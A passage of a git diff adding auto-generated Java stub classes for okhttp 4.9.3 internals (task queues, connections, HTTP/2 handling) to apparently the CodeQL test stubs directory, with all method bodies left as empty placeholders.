+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/concurrent/Task.java
@@ -0,0 +1,20 @@
+// Generated automatically from okhttp3.internal.concurrent.Task for testing purposes
+
+package okhttp3.internal.concurrent;
+
+import okhttp3.internal.concurrent.TaskQueue;
+
+abstract public class Task
+{
+    protected Task() {}
+    public String toString(){ return null; }
+    public Task(String p0, boolean p1){}
+    public abstract long runOnce();
+    public final String getName(){ return null; }
+    public final TaskQueue getQueue$okhttp(){ return null; }
+    public final boolean getCancelable(){ return false; }
+    public final long getNextExecuteNanoTime$okhttp(){ return 0; }
+    public final void initQueue$okhttp(TaskQueue p0){}
+    public final void setNextExecuteNanoTime$okhttp(long p0){}
+    public final void setQueue$okhttp(TaskQueue p0){}
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/concurrent/TaskQueue.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/concurrent/TaskQueue.java
new file mode 100644
index 00000000000..7e2dd674940
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/concurrent/TaskQueue.java
@@ -0,0 +1,35 @@
+// Generated automatically from okhttp3.internal.concurrent.TaskQueue for testing purposes
+
+package okhttp3.internal.concurrent;
+
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import kotlin.Unit;
+import kotlin.jvm.functions.Function0;
+import okhttp3.internal.concurrent.Task;
+import okhttp3.internal.concurrent.TaskRunner;
+
+public class TaskQueue
+{
+    protected TaskQueue() {}
+    public String toString(){ return null; }
+    public TaskQueue(TaskRunner p0, String p1){}
+    public final CountDownLatch idleLatch(){ return null; }
+    public final List<Task> getFutureTasks$okhttp(){ return null; }
+    public final List<Task> getScheduledTasks(){ return null; }
+    public final String getName$okhttp(){ return null; }
+    public final Task getActiveTask$okhttp(){ return null; }
+    public final TaskRunner getTaskRunner$okhttp(){ return null; }
+    public final boolean cancelAllAndDecide$okhttp(){ return false; }
+    public final boolean getCancelActiveTask$okhttp(){ return false; }
+    public final boolean getShutdown$okhttp(){ return false; }
+    public final boolean scheduleAndDecide$okhttp(Task p0, long p1, boolean p2){ return false; }
+    public final void cancelAll(){}
+    public final void execute(String p0, long p1, boolean p2, Function0<Unit> p3){}
+    public final void schedule(String p0, long p1, Function0<Long> p2){}
+    public final void schedule(Task p0, long p1){}
+    public final void setActiveTask$okhttp(Task p0){}
+    public final void setCancelActiveTask$okhttp(boolean p0){}
+    public final void setShutdown$okhttp(boolean p0){}
+    public final void shutdown(){}
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/concurrent/TaskRunner.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/concurrent/TaskRunner.java
new file mode 100644
index 00000000000..173c7135540
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/concurrent/TaskRunner.java
@@ -0,0 +1,35 @@
+// Generated automatically from okhttp3.internal.concurrent.TaskRunner for testing purposes
+
+package okhttp3.internal.concurrent;
+
+import java.util.List;
+import java.util.logging.Logger;
+import okhttp3.internal.concurrent.Task;
+import okhttp3.internal.concurrent.TaskQueue;
+
+public class TaskRunner
+{
+    protected TaskRunner() {}
+    public TaskRunner(TaskRunner.Backend p0){}
+    public final List<TaskQueue> activeQueues(){ return null; }
+    public final Task awaitTaskToRun(){ return null; }
+    public final TaskQueue newQueue(){ return null; }
+    public final TaskRunner.Backend getBackend(){ return null; }
+    public final void cancelAll(){}
+    public final void kickCoordinator$okhttp(TaskQueue p0){}
+    public static TaskRunner INSTANCE = null;
+    public static TaskRunner.Companion Companion = null;
+    static public class Companion
+    {
+        protected Companion() {}
+        public final Logger getLogger(){ return null; }
+    }
+    static public interface Backend
+    {
+        long nanoTime();
+        void beforeTask(TaskRunner p0);
+        void coordinatorNotify(TaskRunner p0);
+        void coordinatorWait(TaskRunner p0, long p1);
+        void execute(Runnable p0);
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/connection/Exchange.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/connection/Exchange.java
new file mode 100644
index 00000000000..3a3ea6f2997
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/connection/Exchange.java
@@ -0,0 +1,44 @@
+// Generated automatically from okhttp3.internal.connection.Exchange for testing purposes
+
+package okhttp3.internal.connection;
+
+import java.io.IOException;
+import okhttp3.EventListener;
+import okhttp3.Headers;
+import okhttp3.Request;
+import okhttp3.Response;
+import okhttp3.ResponseBody;
+import okhttp3.internal.connection.ExchangeFinder;
+import okhttp3.internal.connection.RealCall;
+import okhttp3.internal.connection.RealConnection;
+import okhttp3.internal.http.ExchangeCodec;
+import okhttp3.internal.ws.RealWebSocket;
+import okio.Sink;
+
+public class Exchange
+{
+    protected Exchange() {}
+    public Exchange(RealCall p0, EventListener p1, ExchangeFinder p2, ExchangeCodec p3){}
+    public final <E extends IOException> E bodyComplete(long p0, boolean p1, boolean p2, E p3){ return null; }
+    public final EventListener getEventListener$okhttp(){ return null; }
+    public final ExchangeFinder getFinder$okhttp(){ return null; }
+    public final Headers trailers(){ return null; }
+    public final RealCall getCall$okhttp(){ return null; }
+    public final RealConnection getConnection$okhttp(){ return null; }
+    public final RealWebSocket.Streams newWebSocketStreams(){ return null; }
+    public final Response.Builder readResponseHeaders(boolean p0){ return null; }
+    public final ResponseBody openResponseBody(Response p0){ return null; }
+    public final Sink createRequestBody(Request p0, boolean p1){ return null; }
+    public final boolean isCoalescedConnection$okhttp(){ return false; }
+    public final boolean isDuplex$okhttp(){ return false; }
+    public final void cancel(){}
+    public final void detachWithViolence(){}
+    public final void finishRequest(){}
+    public final void flushRequest(){}
+    public final void noNewExchangesOnConnection(){}
+    public final void noRequestBody(){}
+    public final void responseHeadersEnd(Response p0){}
+    public final void responseHeadersStart(){}
+    public final void webSocketUpgradeFailed(){}
+    public final void writeRequestHeaders(Request p0){}
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/connection/ExchangeFinder.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/connection/ExchangeFinder.java
new file mode 100644
index 00000000000..5565a5d71f5
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/connection/ExchangeFinder.java
@@ -0,0 +1,24 @@
+// Generated automatically from okhttp3.internal.connection.ExchangeFinder for testing purposes
+
+package okhttp3.internal.connection;
+
+import java.io.IOException;
+import okhttp3.Address;
+import okhttp3.EventListener;
+import okhttp3.HttpUrl;
+import okhttp3.OkHttpClient;
+import okhttp3.internal.connection.RealCall;
+import okhttp3.internal.connection.RealConnectionPool;
+import okhttp3.internal.http.ExchangeCodec;
+import okhttp3.internal.http.RealInterceptorChain;
+
+public class ExchangeFinder
+{
+    protected ExchangeFinder() {}
+    public ExchangeFinder(RealConnectionPool p0, Address p1, RealCall p2, EventListener p3){}
+    public final Address getAddress$okhttp(){ return null; }
+    public final ExchangeCodec find(OkHttpClient p0, RealInterceptorChain p1){ return null; }
+    public final boolean retryAfterFailure(){ return false; }
+    public final boolean sameHostAndPort(HttpUrl p0){ return false; }
+    public final void trackFailure(IOException p0){}
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/connection/RealCall.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/connection/RealCall.java
new file mode 100644
index 00000000000..82556dc96b6
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/connection/RealCall.java
@@ -0,0 +1,63 @@
+// Generated automatically from okhttp3.internal.connection.RealCall for testing purposes
+
+package okhttp3.internal.connection;
+
+import java.io.IOException;
+import java.net.Socket;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.atomic.AtomicInteger;
+import okhttp3.Call;
+import okhttp3.Callback;
+import okhttp3.EventListener;
+import okhttp3.OkHttpClient;
+import okhttp3.Request;
+import okhttp3.Response;
+import okhttp3.internal.connection.Exchange;
+import okhttp3.internal.connection.RealConnection;
+import okhttp3.internal.http.RealInterceptorChain;
+import okio.AsyncTimeout;
+
+public class RealCall implements Call
+{
+    protected RealCall() {}
+    public AsyncTimeout timeout(){ return null; }
+    public RealCall clone(){ return null; }
+    public RealCall(OkHttpClient p0, Request p1, boolean p2){}
+    public Request request(){ return null; }
+    public Response execute(){ return null; }
+    public boolean isCanceled(){ return false; }
+    public boolean isExecuted(){ return false; }
+    public class AsyncCall implements Runnable
+    {
+        protected AsyncCall() {}
+        public AsyncCall(Callback p0){}
+        public final AtomicInteger getCallsPerHost(){ return null; }
+        public final RealCall getCall(){ return null; }
+        public final Request getRequest(){ return null; }
+        public final String getHost(){ return null; }
+        public final void executeOn(ExecutorService p0){}
+        public final void reuseCallsPerHostFrom(RealCall.AsyncCall p0){}
+        public void run(){}
+    }
+    public final <E extends IOException> E messageDone$okhttp(Exchange p0, boolean p1, boolean p2, E p3){ return null; }
+    public final EventListener getEventListener$okhttp(){ return null; }
+    public final Exchange getInterceptorScopedExchange$okhttp(){ return null; }
+    public final Exchange initExchange$okhttp(RealInterceptorChain p0){ return null; }
+    public final IOException noMoreExchanges$okhttp(IOException p0){ return null; }
+    public final OkHttpClient getClient(){ return null; }
+    public final RealConnection getConnection(){ return null; }
+    public final RealConnection getConnectionToCancel(){ return null; }
+    public final Request getOriginalRequest(){ return null; }
+    public final Response getResponseWithInterceptorChain$okhttp(){ return null; }
+    public final Socket releaseConnectionNoEvents$okhttp(){ return null; }
+    public final String redactedUrl$okhttp(){ return null; }
+    public final boolean getForWebSocket(){ return false; }
+    public final boolean retryAfterFailure(){ return false; }
+    public final void acquireConnectionNoEvents(RealConnection p0){}
+    public final void enterNetworkInterceptorExchange(Request p0, boolean p1){}
+    public final void exitNetworkInterceptorExchange$okhttp(boolean p0){}
+    public final void setConnectionToCancel(RealConnection p0){}
+    public final void timeoutEarlyExit(){}
+    public void cancel(){}
+    public void enqueue(Callback p0){}
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/connection/RealConnection.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/connection/RealConnection.java
new file mode 100644
index 00000000000..a45566bf0cc
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/connection/RealConnection.java
@@ -0,0 +1,65 @@
+// Generated automatically from okhttp3.internal.connection.RealConnection for testing purposes
+
+package okhttp3.internal.connection;
+
+import java.io.IOException;
+import java.lang.ref.Reference;
+import java.net.Socket;
+import java.util.List;
+import okhttp3.Address;
+import okhttp3.Call;
+import okhttp3.Connection;
+import okhttp3.EventListener;
+import okhttp3.Handshake;
+import okhttp3.OkHttpClient;
+import okhttp3.Protocol;
+import okhttp3.Route;
+import okhttp3.internal.connection.Exchange;
+import okhttp3.internal.connection.RealCall;
+import okhttp3.internal.connection.RealConnectionPool;
+import okhttp3.internal.http.ExchangeCodec;
+import okhttp3.internal.http.RealInterceptorChain;
+import okhttp3.internal.http2.Http2Connection;
+import okhttp3.internal.http2.Http2Stream;
+import okhttp3.internal.http2.Settings;
+import okhttp3.internal.ws.RealWebSocket;
+
+public class RealConnection extends Http2Connection.Listener implements Connection
+{
+    protected RealConnection() {}
+    public Handshake handshake(){ return null; }
+    public Protocol protocol(){ return null; }
+    public RealConnection(RealConnectionPool p0, Route p1){}
+    public Route route(){ return null; }
+    public Socket socket(){ return null; }
+    public String toString(){ return null; }
+    public final ExchangeCodec newCodec$okhttp(OkHttpClient p0, RealInterceptorChain p1){ return null; }
+    public final List<Reference<RealCall>> getCalls(){ return null; }
+    public final RealConnectionPool getConnectionPool(){ return null; }
+    public final RealWebSocket.Streams newWebSocketStreams$okhttp(Exchange p0){ return null; }
+    public final boolean getNoNewExchanges(){ return false; }
+    public final boolean isEligible$okhttp(Address p0, List<Route> p1){ return false; }
+    public final boolean isHealthy(boolean p0){ return false; }
+    public final boolean isMultiplexed$okhttp(){ return false; }
+    public final int getRouteFailureCount$okhttp(){ return 0; }
+    public final long getIdleAtNs$okhttp(){ return 0; }
+    public final void cancel(){}
+    public final void connect(int p0, int p1, int p2, int p3, boolean p4, Call p5, EventListener p6){}
+    public final void connectFailed$okhttp(OkHttpClient p0, Route p1, IOException p2){}
+    public final void incrementSuccessCount$okhttp(){}
+    public final void noCoalescedConnections$okhttp(){}
+    public final void noNewExchanges$okhttp(){}
+    public final void setIdleAtNs$okhttp(long p0){}
+    public final void setNoNewExchanges(boolean p0){}
+    public final void setRouteFailureCount$okhttp(int p0){}
+    public final void trackFailure$okhttp(RealCall p0, IOException p1){}
+    public static RealConnection.Companion Companion = null;
+    public static long IDLE_CONNECTION_HEALTHY_NS = 0;
+    public void onSettings(Http2Connection p0, Settings p1){}
+    public void onStream(Http2Stream p0){}
+    static public class Companion
+    {
+        protected Companion() {}
+        public final RealConnection newTestConnection(RealConnectionPool p0, Route p1, Socket p2, long p3){ return null; }
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/connection/RealConnectionPool.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/connection/RealConnectionPool.java
new file mode 100644
index 00000000000..ea2fe9d1db5
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/connection/RealConnectionPool.java
@@ -0,0 +1,31 @@
+// Generated automatically from okhttp3.internal.connection.RealConnectionPool for testing purposes
+
+package okhttp3.internal.connection;
+
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+import okhttp3.Address;
+import okhttp3.ConnectionPool;
+import okhttp3.Route;
+import okhttp3.internal.concurrent.TaskRunner;
+import okhttp3.internal.connection.RealCall;
+import okhttp3.internal.connection.RealConnection;
+
+public class RealConnectionPool
+{
+    protected RealConnectionPool() {}
+    public RealConnectionPool(TaskRunner p0, int p1, long p2, TimeUnit p3){}
+    public final boolean callAcquirePooledConnection(Address p0, RealCall p1, List<Route> p2, boolean p3){ return false; }
+    public final boolean connectionBecameIdle(RealConnection p0){ return false; }
+    public final int connectionCount(){ return 0; }
+    public final int idleConnectionCount(){ return 0; }
+    public final long cleanup(long p0){ return 0; }
+    public final void evictAll(){}
+    public final void put(RealConnection p0){}
+    public static RealConnectionPool.Companion Companion = null;
+    static public class Companion
+    {
+        protected Companion() {}
+        public final RealConnectionPool get(ConnectionPool p0){ return null; }
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/connection/RouteDatabase.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/connection/RouteDatabase.java
new file mode 100644
index 00000000000..089718b9417
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/connection/RouteDatabase.java
@@ -0,0 +1,13 @@
+// Generated automatically from okhttp3.internal.connection.RouteDatabase for testing purposes
+
+package okhttp3.internal.connection;
+
+import okhttp3.Route;
+
+public class RouteDatabase
+{
+    public RouteDatabase(){}
+    public final boolean shouldPostpone(Route p0){ return false; }
+    public final void connected(Route p0){}
+    public final void failed(Route p0){}
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/http/ExchangeCodec.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/http/ExchangeCodec.java
new file mode 100644
index 00000000000..209e0207e60
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/http/ExchangeCodec.java
@@ -0,0 +1,31 @@
+// Generated automatically from okhttp3.internal.http.ExchangeCodec for testing purposes
+
+package okhttp3.internal.http;
+
+import okhttp3.Headers;
+import okhttp3.Request;
+import okhttp3.Response;
+import okhttp3.internal.connection.RealConnection;
+import okio.Sink;
+import okio.Source;
+
+public interface ExchangeCodec
+{
+    Headers trailers();
+    RealConnection getConnection();
+    Response.Builder readResponseHeaders(boolean p0);
+    Sink createRequestBody(Request p0, long p1);
+    Source openResponseBodySource(Response p0);
+    long reportedContentLength(Response p0);
+    static ExchangeCodec.Companion Companion = null;
+    static int DISCARD_STREAM_TIMEOUT_MILLIS = 0;
+    static public class Companion
+    {
+        protected Companion() {}
+        public static int DISCARD_STREAM_TIMEOUT_MILLIS = 0;
+    }
+    void cancel();
+    void finishRequest();
+    void flushRequest();
+    void writeRequestHeaders(Request p0);
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/http/RealInterceptorChain.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/http/RealInterceptorChain.java
new file mode 100644
index 00000000000..0e1ce474afc
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/http/RealInterceptorChain.java
@@ -0,0 +1,36 @@
+// Generated automatically from okhttp3.internal.http.RealInterceptorChain for testing purposes
+
+package okhttp3.internal.http;
+
+import java.util.List;
+import java.util.concurrent.TimeUnit;
+import okhttp3.Call;
+import okhttp3.Connection;
+import okhttp3.Interceptor;
+import okhttp3.Request;
+import okhttp3.Response;
+import okhttp3.internal.connection.Exchange;
+import okhttp3.internal.connection.RealCall;
+
+public class RealInterceptorChain implements Interceptor.Chain
+{
+    protected RealInterceptorChain() {}
+    public Call call(){ return null; }
+    public Connection connection(){ return null; }
+    public Interceptor.Chain withConnectTimeout(int p0, TimeUnit p1){ return null; }
+    public Interceptor.Chain withReadTimeout(int p0, TimeUnit p1){ return null; }
+    public Interceptor.Chain withWriteTimeout(int p0, TimeUnit p1){ return null; }
+    public RealInterceptorChain(RealCall p0, List<? extends Interceptor> p1, int p2, Exchange p3, Request p4, int p5, int p6, int p7){}
+    public Request request(){ return null; }
+    public Response proceed(Request p0){ return null; }
+    public final Exchange getExchange$okhttp(){ return null; }
+    public final RealCall getCall$okhttp(){ return null; }
+    public final RealInterceptorChain copy$okhttp(int p0, Exchange p1, Request p2, int p3, int p4, int p5){ return null; }
+    public final Request getRequest$okhttp(){ return null; }
+    public final int getConnectTimeoutMillis$okhttp(){ return 0; }
+    public final int getReadTimeoutMillis$okhttp(){ return 0; }
+    public final int getWriteTimeoutMillis$okhttp(){ return 0; }
+    public int connectTimeoutMillis(){ return 0; }
+    public int readTimeoutMillis(){ return 0; }
+    public int writeTimeoutMillis(){ return 0; }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/http2/ErrorCode.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/http2/ErrorCode.java
new file mode 100644
index 00000000000..e45e320f54f
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/http2/ErrorCode.java
@@ -0,0 +1,17 @@
+// Generated automatically from okhttp3.internal.http2.ErrorCode for testing purposes
+
+package okhttp3.internal.http2;
+
+
+public enum ErrorCode
+{
+    CANCEL, COMPRESSION_ERROR, CONNECT_ERROR, ENHANCE_YOUR_CALM, FLOW_CONTROL_ERROR, FRAME_SIZE_ERROR, HTTP_1_1_REQUIRED, INADEQUATE_SECURITY, INTERNAL_ERROR, NO_ERROR, PROTOCOL_ERROR, REFUSED_STREAM, SETTINGS_TIMEOUT, STREAM_CLOSED;
+    private ErrorCode() {}
+    public final int getHttpCode(){ return 0; }
+    public static ErrorCode.Companion Companion = null;
+    static public class Companion
+    {
+        protected Companion() {}
+        public final ErrorCode fromHttp2(int p0){ return null; }
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/http2/Header.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/http2/Header.java
new file mode 100644
index 00000000000..dc4013f5be7
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/http2/Header.java
@@ -0,0 +1,38 @@
+// Generated automatically from okhttp3.internal.http2.Header for testing purposes
+
+package okhttp3.internal.http2;
+
+import okio.ByteString;
+
+public class Header
+{
+    protected Header() {}
+    public Header(ByteString p0, ByteString p1){}
+    public Header(ByteString p0, String p1){}
+    public Header(String p0, String p1){}
+    public String toString(){ return null; }
+    public boolean equals(Object p0){ return false; }
+    public final ByteString component1(){ return null; }
+    public final ByteString component2(){ return null; }
+    public final ByteString name = null;
+    public final ByteString value = null;
+    public final Header copy(ByteString p0, ByteString p1){ return null; }
+    public final int hpackSize = 0;
+    public int hashCode(){ return 0; }
+    public static ByteString PSEUDO_PREFIX = null;
+    public static ByteString RESPONSE_STATUS = null;
+    public static ByteString TARGET_AUTHORITY = null;
+    public static ByteString TARGET_METHOD = null;
+    public static ByteString TARGET_PATH = null;
+    public static ByteString TARGET_SCHEME = null;
+    public static Header.Companion Companion = null;
+    public static String RESPONSE_STATUS_UTF8 = null;
+    public static String TARGET_AUTHORITY_UTF8 = null;
+    public static String TARGET_METHOD_UTF8 = null;
+    public static String TARGET_PATH_UTF8 = null;
+    public static String TARGET_SCHEME_UTF8 = null;
+    static public class Companion
+    {
+        protected Companion() {}
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/http2/Hpack.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/http2/Hpack.java
new file mode 100644
index 00000000000..8c688bb64f3
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/http2/Hpack.java
@@ -0,0 +1,34 @@
+// Generated automatically from okhttp3.internal.http2.Hpack for testing purposes
+
+package okhttp3.internal.http2;
+
+import java.util.List;
+import java.util.Map;
+import okhttp3.internal.http2.Header;
+import okio.Buffer;
+import okio.ByteString;
+
+public class Hpack
+{
+    protected Hpack() {}
+    public final ByteString checkLowercase(ByteString p0){ return null; }
+    public final Header[] getSTATIC_HEADER_TABLE(){ return null; }
+    public final Map<ByteString, Integer> getNAME_TO_FIRST_INDEX(){ return null; }
+    public static Hpack INSTANCE = null;
+    static public class Writer
+    {
+        protected Writer() {}
+        public Header[] dynamicTable = null;
+        public Writer(Buffer p0){}
+        public Writer(int p0, Buffer p1){}
+        public Writer(int p0, boolean p1, Buffer p2){}
+        public final void resizeHeaderTable(int p0){}
+        public final void writeByteString(ByteString p0){}
+        public final void writeHeaders(List<Header> p0){}
+        public final void writeInt(int p0, int p1, int p2){}
+        public int dynamicTableByteCount = 0;
+        public int headerCount = 0;
+        public int headerTableSizeSetting = 0;
+        public int maxDynamicTableByteCount = 0;
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/http2/Http2Connection.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/http2/Http2Connection.java
new file mode 100644
index 00000000000..8e7b605f498
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/http2/Http2Connection.java
@@ -0,0 +1,153 @@
+// Generated automatically from okhttp3.internal.http2.Http2Connection for testing purposes
+
+package okhttp3.internal.http2;
+
+import java.io.Closeable;
+import java.io.IOException;
+import java.net.Socket;
+import java.util.List;
+import java.util.Map;
+import kotlin.Unit;
+import kotlin.jvm.functions.Function0;
+import okhttp3.internal.concurrent.TaskRunner;
+import okhttp3.internal.http2.ErrorCode;
+import okhttp3.internal.http2.Header;
+import okhttp3.internal.http2.Http2Reader;
+import okhttp3.internal.http2.Http2Stream;
+import okhttp3.internal.http2.Http2Writer;
+import okhttp3.internal.http2.PushObserver;
+import okhttp3.internal.http2.Settings;
+import okio.Buffer;
+import okio.BufferedSink;
+import okio.BufferedSource;
+import okio.ByteString;
+
+public class Http2Connection implements Closeable
+{
+    protected Http2Connection() {}
+    abstract static public class Listener
+    {
+        public Listener(){}
+        public abstract void onStream(Http2Stream p0);
+        public static Http2Connection.Listener REFUSE_INCOMING_STREAMS = null;
+        public static Http2Connection.Listener.Companion Companion = null;
+        public void onSettings(Http2Connection p0, Settings p1){}
+        static public class Companion
+        {
+            protected Companion() {}
+        }
+    }
+    public Http2Connection(Http2Connection.Builder p0){}
+    public class ReaderRunnable implements Function0<Void>, Http2Reader.Handler
+    {
+        protected ReaderRunnable() {}
+        public ReaderRunnable(Http2Reader p0){}
+        public final Http2Reader getReader$okhttp(){ return null; }
+        public final void applyAndAckSettings(boolean p0, Settings p1){}
+        public void ackSettings(){}
+        public void alternateService(int p0, String p1, ByteString p2, String p3, int p4, long p5){}
+        public void data(boolean p0, int p1, BufferedSource p2, int p3){}
+        public void goAway(int p0, ErrorCode p1, ByteString p2){}
+        public void headers(boolean p0, int p1, int p2, List<Header> p3){}
+        public Void invoke(){ return null; }
+        public void ping(boolean p0, int p1, int p2){}
+        public void priority(int p0, int p1, int p2, boolean p3){}
+        public void pushPromise(int p0, int p1, List<Header> p2){}
+        public void rstStream(int p0, ErrorCode p1){}
+        public void settings(boolean p0, Settings p1){}
+        public void windowUpdate(int p0, long p1){}
+    }
+    public final Http2Connection.Listener getListener$okhttp(){ return null; }
+    public final Http2Connection.ReaderRunnable getReaderRunnable(){ return null; }
+    public final Http2Stream getStream(int p0){ return null; }
+    public final Http2Stream newStream(List<Header> p0, boolean p1){ return null; }
+    public final Http2Stream pushStream(int p0, List<Header> p1, boolean p2){ return null; }
+    public final Http2Stream removeStream$okhttp(int p0){ return null; }
+    public final Http2Writer getWriter(){ return null; }
+    public final Map<Integer, Http2Stream> getStreams$okhttp(){ return null; }
+    public final Settings getOkHttpSettings(){ return null; }
+    public final Settings getPeerSettings(){ return null; }
+    public final Socket getSocket$okhttp(){ return null; }
+    public final String getConnectionName$okhttp(){ return null; }
+    public final boolean getClient$okhttp(){ return false; }
+    public final boolean isHealthy(long p0){ return false; }
+    public final boolean pushedStream$okhttp(int p0){ return false; }
+    public final int getLastGoodStreamId$okhttp(){ return 0; }
+    public final int getNextStreamId$okhttp(){ return 0; }
+    public final int openStreamCount(){ return 0; }
+    public final long getReadBytesAcknowledged(){ return 0; }
+    public final long getReadBytesTotal(){ return 0; }
+    public final long getWriteBytesMaximum(){ return 0; }
+    public final long getWriteBytesTotal(){ return 0; }
+    public final void awaitPong(){}
+    public final void close$okhttp(ErrorCode p0, ErrorCode p1, IOException p2){}
+    public final void flush(){}
+    public final void pushDataLater$okhttp(int p0, BufferedSource p1, int p2, boolean p3){}
+    public final void pushHeadersLater$okhttp(int p0, List<Header> p1, boolean p2){}
+    public final void pushRequestLater$okhttp(int p0, List<Header> p1){}
+    public final void pushResetLater$okhttp(int p0, ErrorCode p1){}
+    public final void sendDegradedPingLater$okhttp(){}
+    public final void setLastGoodStreamId$okhttp(int p0){}
+    public final void setNextStreamId$okhttp(int p0){}
+    public final void setPeerSettings(Settings p0){}
+    public final void setSettings(Settings p0){}
+    public final void shutdown(ErrorCode p0){}
+    public final void start(){}
+    public final void start(boolean p0){}
+    public final void start(boolean p0, TaskRunner p1){}
+    public final void updateConnectionFlowControl$okhttp(long p0){}
+    public final void writeData(int p0, boolean p1, Buffer p2, long p3){}
+    public final void writeHeaders$okhttp(int p0, boolean p1, List<Header> p2){}
+    public final void writePing(){}
+    public final void writePing(boolean p0, int p1, int p2){}
+    public final void writePingAndAwaitPong(){}
+    public final void writeSynReset$okhttp(int p0, ErrorCode p1){}
+    public final void writeSynResetLater$okhttp(int p0, ErrorCode p1){}
+    public final void writeWindowUpdateLater$okhttp(int p0, long p1){}
+    public static Http2Connection.Companion Companion = null;
+    public static int AWAIT_PING = 0;
+    public static int DEGRADED_PING = 0;
+    public static int DEGRADED_PONG_TIMEOUT_NS = 0;
+    public static int INTERVAL_PING = 0;
+    public static int OKHTTP_CLIENT_WINDOW_SIZE = 0;
+    public void close(){}
+    static public class Builder
+    {
+        protected Builder() {}
+        public BufferedSink sink = null;
+        public BufferedSource source = null;
+        public Builder(boolean p0, TaskRunner p1){}
+        public Socket socket = null;
+        public String connectionName = null;
+        public final BufferedSink getSink$okhttp(){ return null; }
+        public final BufferedSource getSource$okhttp(){ return null; }
+        public final Http2Connection build(){ return null; }
+        public final Http2Connection.Builder listener(Http2Connection.Listener p0){ return null; }
+        public final Http2Connection.Builder pingIntervalMillis(int p0){ return null; }
+        public final Http2Connection.Builder pushObserver(PushObserver p0){ return null; }
+        public final Http2Connection.Builder socket(Socket p0){ return null; }
+        public final Http2Connection.Builder socket(Socket p0, String p1){ return null; }
+        public final Http2Connection.Builder socket(Socket p0, String p1, BufferedSource p2){ return null; }
+        public final Http2Connection.Builder socket(Socket p0, String p1, BufferedSource p2, BufferedSink p3){ return null; }
+        public final Http2Connection.Listener getListener$okhttp(){ return null; }
+        public final PushObserver getPushObserver$okhttp(){ return null; }
+        public final Socket getSocket$okhttp(){ return null; }
+        public final String getConnectionName$okhttp(){ return null; }
+        public final TaskRunner getTaskRunner$okhttp(){ return null; }
+        public final boolean getClient$okhttp(){ return false; }
+        public final int getPingIntervalMillis$okhttp(){ return 0; }
+        public final void setClient$okhttp(boolean p0){}
+        public final void setConnectionName$okhttp(String p0){}
+        public final void setListener$okhttp(Http2Connection.Listener p0){}
+        public final void setPingIntervalMillis$okhttp(int p0){}
+        public final void setPushObserver$okhttp(PushObserver p0){}
+        public final void setSink$okhttp(BufferedSink p0){}
+        public final void setSocket$okhttp(Socket p0){}
+        public final void setSource$okhttp(BufferedSource p0){}
+    }
+    static public class Companion
+    {
+        protected Companion() {}
+        public final Settings getDEFAULT_SETTINGS(){ return null; }
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/http2/Http2Reader.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/http2/Http2Reader.java
new file mode 100644
index 00000000000..b6aedef6d52
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/http2/Http2Reader.java
@@ -0,0 +1,42 @@
+// Generated automatically from okhttp3.internal.http2.Http2Reader for testing purposes
+
+package okhttp3.internal.http2;
+
+import java.io.Closeable;
+import java.util.List;
+import java.util.logging.Logger;
+import okhttp3.internal.http2.ErrorCode;
+import okhttp3.internal.http2.Header;
